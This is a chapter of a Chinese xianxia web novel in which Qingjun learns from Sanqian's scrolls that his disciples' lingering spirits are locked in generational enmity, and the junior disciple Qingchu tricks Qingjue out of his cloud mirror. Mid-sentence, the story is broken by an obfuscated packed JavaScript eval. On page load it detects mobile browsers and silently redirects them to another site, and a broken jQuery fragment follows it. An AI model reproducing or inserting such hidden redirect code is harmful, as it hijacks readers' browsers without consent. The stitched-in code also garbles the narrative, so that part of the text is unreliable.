18. 诉讼千里,道尽途穷(一)
作品:《久久歌》 (一)
“不好了!青君!青君你在哪儿!不好了!”
“青君好着呢!”青雏推着青君不疾不徐从酿酒殿里出来,“这大清早的能把你这尊大仙吹过来能有啥事?”
三千还喘着气,止不住的摆手,却什么也不说,青君让青雏去拿一壶酒来让三千缓缓。
“不……不必,你们这儿就没有清水了吗?”
青君有些不乐意,“我这儿酿酒殿三个字是摆设嘛?算了,青雏,去给三千上仙取一壶清水吧,看你这么急,进去说。”
青雏去取水,三千推着青君进了里屋,把衣袖里的卷轴拿了出来。
“你带这个来干什么,我的吗?”今天三千造访,青君心里也急,他一直都在打听青袂和诛衫的下落,可是三千保持着自己的原则一直不肯告诉自己,今天却破天荒的来了,他隐隐有些不安。
这时青雏取来了水,三千一接过就喝完了。
“青君,今日我要告诉你的这些事,你切莫冲动行事。”
“到底是什么你也要说啊。”青君看着他这样也只能干着急。
三千把他带来的卷轴拿出来,打开后平铺在桌上,又从另一个衣袖里拿出来一个,将它并排放在另一个卷轴下,两个卷轴还在不停地记录,显示出文字。
青君预知不妙,三千看他凝重的样子都害怕他下一秒要从轮椅上站起来了。
“这是……”青雏看着卷轴上所记录的事,忍不住插嘴,“这是凡间的一对怨债吗?”
“什么怨债!这是你师兄!”青君恨铁不成钢地看着他,青雏这才反应过来。
青君还要仔细地看,三千却把卷轴收了起来。
“三千,你什么意思?”
“青君,你听我说,这事你我都不能插手。”
“为什么?”
“他们都并非青袂和鬼王诛衫。”
“那为什么还会出现在他们二人的卷轴上!”
三千叹气,“他们二人跃入红莲池底,很显然是凡人受了这池水的影响,才会再续上他们二人的仇怨。青君,你也知道青袂才是小鬼王,流的是鬼王的血,那池子拿他没有办法,可是诛衫不同,诛衫前身是神,他和青袂在同一池子里,互饮其血,身死魂未灭,这才造下恶果。”
三千说完,青君还是一脸凝重,不久后愁色出现,“你既不要我插手,又为何还要告诉我?”
三千却紧握卷轴什么也不说。
“当初是你说他们在无灵识意志,你是要急死我吗?”
“有人在作恶。”三千又一次打开了卷轴,这次他们往前看,看着看着青君突然反应过来,“你了事阁的规矩不是不能看……”
青君话尾还没落,三千白他一眼,“你能不能闭上嘴,不看拉倒。”
“诶诶,看看看。”青君按住他的手。
“我们并不是要去刻意窥看,我们这是在寻他们的下落。”三千给自己找补。
“好好好,你要找什么快找给我看。”
“你看,这里一行列。”
三千指着那数列的字,青君顺着念了出来,“千里氏一族流亡至鬼地一处,顺饮其红莲池水,受池底鬼神庇佑,孕育新生……授其气运,绵延千里氏一族,恶鬼再生……”青君读时嘴唇颤抖,“咒——”青君皱眉,“咒其双生一子,献身为鬼魄,待……鬼王重生。——三千,这是什么意思,我怎么看不懂了。”
三千沉默,又指向另一幅卷轴一处,“这里。鬼王终归故土,寄身曲氏一族。授其精血养育后人魔身不灭,故仇怨永不消散……”
“哪个是我徒弟?”
“……你傻啊。”三千扶额,已经是不想面对的模样,“青君,我说话难听。”
“我知道,你说吧。”
“……其实,他们死了也就……死了,可是他们现在这样,只会……”
“什么叫做死了就死了?”
“……我和你说了我说话难听。”
一旁的青雏默默听着,突然说,“师兄的魂魄在曲氏一族吗?”
三千差点忘记他的存在,“那不是魂魄,是他们残留在这世上的还未消散的灵力,就如同当初风水师,尽管魂飞魄散,却还有残念在这一世间,直至完全散尽。”
“那他们现在在凡间是什么情况?”青君问。
“……”
“你又哑巴了?”
“他们寄生于凡人之躯,未有消散之意,延绵下去,化作死敌。”
青君此刻又开始恨自己残废的双腿,但是再急也只能无用功的拍打两下,努力克制自己的情绪,“他俩怎么就死敌了?”
“那我问你,他们殉情的时候,只是想死在一起吗?”
“那他们殉什么?”
“在师兄心中,还是有恨的吗?”青雏这句话脱口而出。
与其和青君解释,三千此刻还是更愿意和青雏说话,“他们哪里是明明白白死的。”三千又对青君说,“你也知道,执念越大,余恨越大。他们此刻相爱相杀的厉害呢,我的意思是,代代爱,代代杀。”
“……”青君完全瘫在了自己的轮椅上,也算是理解了三千所说的还不如死了就死了。
“不过这其中出现了变故,有人从中介入,似乎想把这二人脱离出来。”
“谁?”
“我暂时还没有找出这个人,不过我看这人的意图,似乎是帮着青袂那边的。因为他的插手,千里氏一族一直在消极,一副随时都准备灭族的样子。你看这里,出现了一个黑衣人,就是从他开始,他挑唆千里氏族内关系,让他们开始手足相残。”
青君仔细看着,青雏的脑袋也凑了过来。
这个黑衣人不仅成功挑唆了千里氏族内的关系,更是让千里氏甘愿与外界断开了联系,不仅如此,还让千里氏和曲氏的关系得到了缓和,却也成为了帮凶。
曲氏一直帮着千里氏手足互食。
“报应!”青君看着自己的宝贝徒弟竟然变成这样,痛苦的不再去看那些文字记录。
“为什么会这样……”青雏嘴里也不敢相信的喏喏念叨,“三千上仙,他们现在怎么样了?”青雏自知自己比不上青袂,一直以来也无法得到青君的重视,更是讨不了青君的欢心,他心中有不甘,可是他也绝不会让自己的师兄一直这样下去。
“我还在查找这个黑衣人的身份,应该不是天上的人,却一直没在卷轴里找到,更是不知道他的意图到底是什么。”
“可我们也不能坐视不管啊!”青雏这下真急了,平日里唯唯诺诺又乖巧的徒弟突然这样大声说话,青君也有些意外,连他也一直以为青雏和青袂的关系淡如水,倒不至于关心到这份程度上。
意识到自己失态的青雏立刻道了歉,青君却什么也没有说。
三千默默的把所有东西都收了起来,“这是这二人的命数,纠缠至此,我们也无法阻止,但是这捣鬼之人我一定会找出来。青君,你先等上一段时间,之前清绝不是有一面镜子可以看见人间的景象吗?你可以去借来看,不过见他可能不太方便就是了……但是我不会容忍你去插足,你当初为了青袂所付出的代价,这双腿还不够你长记性吗?三千告辞。”
三千走了,青君似乎还没有缓过神,终于想起动身,青雏正准备推着他离开时,青君却拒绝了,自己转着滚轮回了房。
(二)
青雏去后花苑给花浇水,现在这里的花被他打理的很好,只是没以前热闹了。
它们一个个都低着头,不再高声说话。
青雏放下水壶,去往青袂曾住过的房间。
这个房间被他打理的很好,不见一丝灰尘,既没有人住过的痕迹,却也没有让人感觉空置很久的错觉,仿若只是房主人爱干净,却又总是不常回来。
他坐在曾经青袂常坐的位置,抚摸桌上依旧存在的刻痕。
莫再强留。
他的师兄做得了世间最痴情的妖怪,也当属最绝情的神仙。
(三)
三千回去后,整日将自己淹没在卷宗之中,却还是没找到一丝线索,他根本连从何找起都不知道,这简直就是一个被遗漏在人间的人,又突然重现于世间。
(四)
青雏下了一个很重大的决定,而这个想法的产生,也只不过是在他三个时辰后下定的决心,他无法眼睁睁看着师兄的残念陷入在这尘世间无止境的纠纷中。
(五)
青君偷偷喝了很多酒,可是无论如何都醉不过去,这是他头一回为自己的选择感到后悔。
(六)
青雏的过去并不复杂,他曾经也是一个凡人,后来被父母的仇家和村里人活活烧死,游走于游人畔时,因为过往干净而被神界捞了上来。
如果问当初的他,还想成为神吗,他的回答可能永远都是愿意,但是问现在的他,他就不会那么想了。神域的日子让他一眼望到头,却又永无止境,他感觉所有神都在等待着什么,唯独只有他,整日里晃荡如鬼魂,身上的阴霾堪比阴间的小鬼。
整个神域除了青君能够接触到青袂,他认为就只有他了。但是他这个师兄看起来总是捉摸不透,古怪可能确实是存在于他身上的,青雏能看出来青袂是在筹谋着什么,可是青雏连和青袂说话的勇气都是慢慢磨砺出来的,又怎么敢去问这些。
(七)
青雏去了天牢,他要去找清绝。
(八)
清绝不能说是放弃了出狱这样的想法,应该说是找到了更适合自己的地方。他发现整日待在这天牢里无所事事,偶尔吹吹牛,见见新面孔,还有云镜可以陪着看看凡间也挺好,不然回到了职位又要被红线缠身,诸多的烦心事伴随他,所以当青雏来天牢找他的云镜一用时,他是不愿意的。
“你今日要是把我这面镜子借走了,我怎么知道你什么时候还我?”
青雏有些窘迫,毕竟他和清绝交集不深,并且也是听闻了清绝为何被关押在天牢的一些“丑闻”。
“望舒仙君……”
“打住,别叫我这个名号,叫我清绝就好。”
“仙君,我只是想借云镜观凡间景象一眼,看完必定归还。”
“如果只是一眼,你现在看便是,你要是拿走了我找谁要?”清绝现在所有的无聊日子主要都靠着云镜打发了,必然不会轻易借出去,更何况他被关着哪儿也去不了。
青雏面皮薄,清绝只是这一下子他就不知该作何回答,清绝看他这样子反倒是觉得好玩起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990895|193699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“你是青君的小徒弟吧,从凡间来的?都已经过去了这么久了,该不会是你生前在凡间有所牵挂,想看看轮回之人吧?”
“不是!”青雏实在是不知道该怎么说,耳朵稍红了些,“只是,最近需要酿酒,想要去取一些人间的水源。”
“哦……”清绝意味深长的看着他,“那你这算是成仙后第一次下凡吧,这些事情以往都是……”清绝顿了一下,怪异的神色回避了一下,“都是你师兄做吧。”
青雏仔细甄别了一下清绝是否有在套他的话术,最后慎重地点了点头。
“要是只是采水,你根本不需要提前观测,你只需要直接前往人间就好,多逛逛,顺便游历几番,找到了归来就是,不必抱着那么强烈的目的性。”清绝像长辈一样语重心长,最后又擦了擦手里的云镜,青雏看着云镜时眼珠子都快要掉出来了。
没有办法了。青雏心想,他若是找不到合适的理由,看来清绝是绝不会轻易给他的,只能用那一招了。
“仙君。”
“你说。”
“实不相瞒,青雏想要借一借云镜确实另有所瞒。”
“哦?你说。”见他愿意说,清绝的兴致也来了,云镜也不擦了。
青雏深吸一口气。
“仙君有所不知,青雏是从凡人……”
“这个我知道,下一个。”
“……”青雏揉了揉鼻子,“我想通过云镜寻找一下前世人间的父母怎么样了,如果这次下凡有机会,还想去看一下他们。”
谁料清绝听完后直皱眉,然后抬手不停地算着什么,然后凝重道,“不对吧,照你来天上的这些时日,他们都不止轮回一次了吧,先抛开是人是鬼不说,万一连两条腿的都不是了呢?”
清绝自认为是已经说的很委婉了,青雏却没想要放弃,“仙君,我酿酒的技艺远不及师尊和师兄,所以常醉倒在酒坛边,常忆人间之苦,无法忘却,更是从未报仇,心中残藏着的妄念时不时出来扰乱我的心绪,才使得我无法进步。其实此次下凡,并不是因为亲情上的一些念想,而是我一直残留在心中还无法消释的恨意。仙君,我真的就只看一眼罢了。”
清绝有些动摇了,“真就一眼?”
青雏重重的点了点头。
“好吧,看完马上还给我。”清绝答应了,但是还有些不情不愿的样子,一番心里斗争后,才缓缓将云镜递了出去。
青雏郑重地接过了云镜,清绝却还犹豫着不肯松手,青雏也就耐心的等待着他,二人在轻微地拉扯下,云镜也终于是到了青雏手中。
“谢谢仙君。”
“赶紧看吧。”
“仙君。”
“嗯?”
“多有得罪了。”
然后青雏就跑了。拿着云镜头也不回地跑了。
“……你干嘛!臭小子,给我回来!把云镜还给我!!!”
(九)
青雏第一次干这种事情,腾云驾雾地跑回了酿酒殿,一回来就又被青君唤了去,赶紧把云镜藏起来。
“师尊。”
“你快过来。”
青雏寻着声音找到了青君,发现青君竟然也来了青袂房间,在不久前他所在的位置,同样抚摸桌上的刻字。
“你说你师兄到底是什么意思。”青君仿佛不是在和他说话,又继续说了下去,“你师兄回来时,到底是谁刻下来的……为什么他和为师相处了那么些长的日子,却还要如此决绝?青雏,”青君唤他时,他才反应过来,“你说这是青袂对为师说的,还是他那胆小鬼将军?”
青雏愣了很久之后,却也只能说,“徒儿不知,徒儿好像……并不了解师兄。”
“你也努力过了。”青君长叹气,拢过衣袖,“你师兄真是一点儿也不知道疼人,但是有什么办法,他都忘了,全部都忘记了,尽管想起来后,又还剩多少?他恐怕记得最清楚的只有他骗自己的那些事了,感情这种东西,如果你当了神仙后还再去纠结,那就是苦命,是劫。”
青雏认真听着,把云镜藏得很好。
“为师要放弃你师兄了吗?”
“为何?”这是下意识问出口的,青雏也没想到的。
“没有为何。”青君却笑起来,“可能就是因为你师兄他不愿。”
“可是师尊——”
“你师兄的古怪,可不是传言传出来的。”青君闭上眼,找了个舒适的姿势躺在轮椅上,“论让人受苦,你的师兄是最擅长。他可以不惜以自己凡人时的性命做饵,一步一步把九摇引到天上来接他走,最后又要让九摇心甘情愿的陪他跳了。”青君直摇头,“可听了三千所说,他那些残念在人世间纠缠,却此四字相悖。”
此刻的青雏非常害怕自己说错话,但是他必须要向青君确认一件事,“那师兄这算是……坠入——”
“好了!”青君看着他,觉得他今天有些怪异,“你师兄的事不必再多谈,这件事既然能发展到这种地步了,那就是你和我都不能阻止的了,你就和以前一样,在天上好好的养花,酿酒,其他的什么事你都不要管。”
青雏死死握住藏起来的云镜,如果真的能通过这面镜子找到青袂,他就一定要去。
“是。师尊。”

